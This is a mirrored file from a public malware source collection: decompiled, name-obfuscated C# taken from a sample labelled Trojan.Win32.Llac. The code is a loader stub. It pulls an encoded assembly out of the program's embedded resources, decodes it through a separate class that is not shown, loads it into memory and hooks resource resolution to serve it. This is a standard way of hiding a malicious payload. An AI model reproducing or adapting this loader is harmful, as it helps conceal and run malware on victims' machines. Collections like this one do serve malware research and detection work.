mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 09:56:10 +00:00
49 lines
2.1 KiB
C#
49 lines
2.1 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: A.c29f827b3bfbe0d42d68de9c890c71caf
|
|||
|
// Assembly: Service, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: B7AA2EBA-E600-4CD2-B54D-4503D0055DE2
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Llac.gxwf-aba0073bd9b9f0c6c0103f289f18d82411c0702308f5a0dbcae1b577edc263b3.exe
|
|||
|
|
|||
|
using System;
|
|||
|
using System.Reflection;
|
|||
|
|
|||
|
namespace A
|
|||
|
{
|
|||
|
internal class c29f827b3bfbe0d42d68de9c890c71caf
|
|||
|
{
|
|||
|
private static readonly Assembly c707f5a33ece1a7b87a7c284921546b04;
|
|||
|
|
|||
|
static c29f827b3bfbe0d42d68de9c890c71caf()
|
|||
|
{
|
|||
|
if ((object) c29f827b3bfbe0d42d68de9c890c71caf.c707f5a33ece1a7b87a7c284921546b04 != null)
|
|||
|
return;
|
|||
|
Assembly executingAssembly = Assembly.GetExecutingAssembly();
|
|||
|
string name = executingAssembly.GetName().Name;
|
|||
|
foreach (string manifestResourceName in executingAssembly.GetManifestResourceNames())
|
|||
|
{
|
|||
|
if (name == manifestResourceName)
|
|||
|
{
|
|||
|
c29f827b3bfbe0d42d68de9c890c71caf.c707f5a33ece1a7b87a7c284921546b04 = Assembly.Load(c7692e86eb2a74329ad9a7c19d9797b57.c12afc2e116cd62de076ec4482f164357(executingAssembly.GetManifestResourceStream(name)));
|
|||
|
break;
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
internal static void c9cf73c7bbdddd2db81883c582dac255c() => AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(c29f827b3bfbe0d42d68de9c890c71caf.cad7ede284290bd4a9f987461cb4f5204);
|
|||
|
|
|||
|
private static Assembly cad7ede284290bd4a9f987461cb4f5204(
|
|||
|
object ccdf542d5c3b6b24e4521e5d1ca516374,
|
|||
|
ResolveEventArgs ce09aa02c17ce1ac18f55c08663a50a54)
|
|||
|
{
|
|||
|
if ((object) c29f827b3bfbe0d42d68de9c890c71caf.c707f5a33ece1a7b87a7c284921546b04 == null)
|
|||
|
return c29f827b3bfbe0d42d68de9c890c71caf.c707f5a33ece1a7b87a7c284921546b04;
|
|||
|
foreach (string manifestResourceName in c29f827b3bfbe0d42d68de9c890c71caf.c707f5a33ece1a7b87a7c284921546b04.GetManifestResourceNames())
|
|||
|
{
|
|||
|
if (manifestResourceName == ce09aa02c17ce1ac18f55c08663a50a54.Name)
|
|||
|
return c29f827b3bfbe0d42d68de9c890c71caf.c707f5a33ece1a7b87a7c284921546b04;
|
|||
|
}
|
|||
|
return (Assembly) null;
|
|||
|
}
|
|||
|
}
|
|||
|
}
|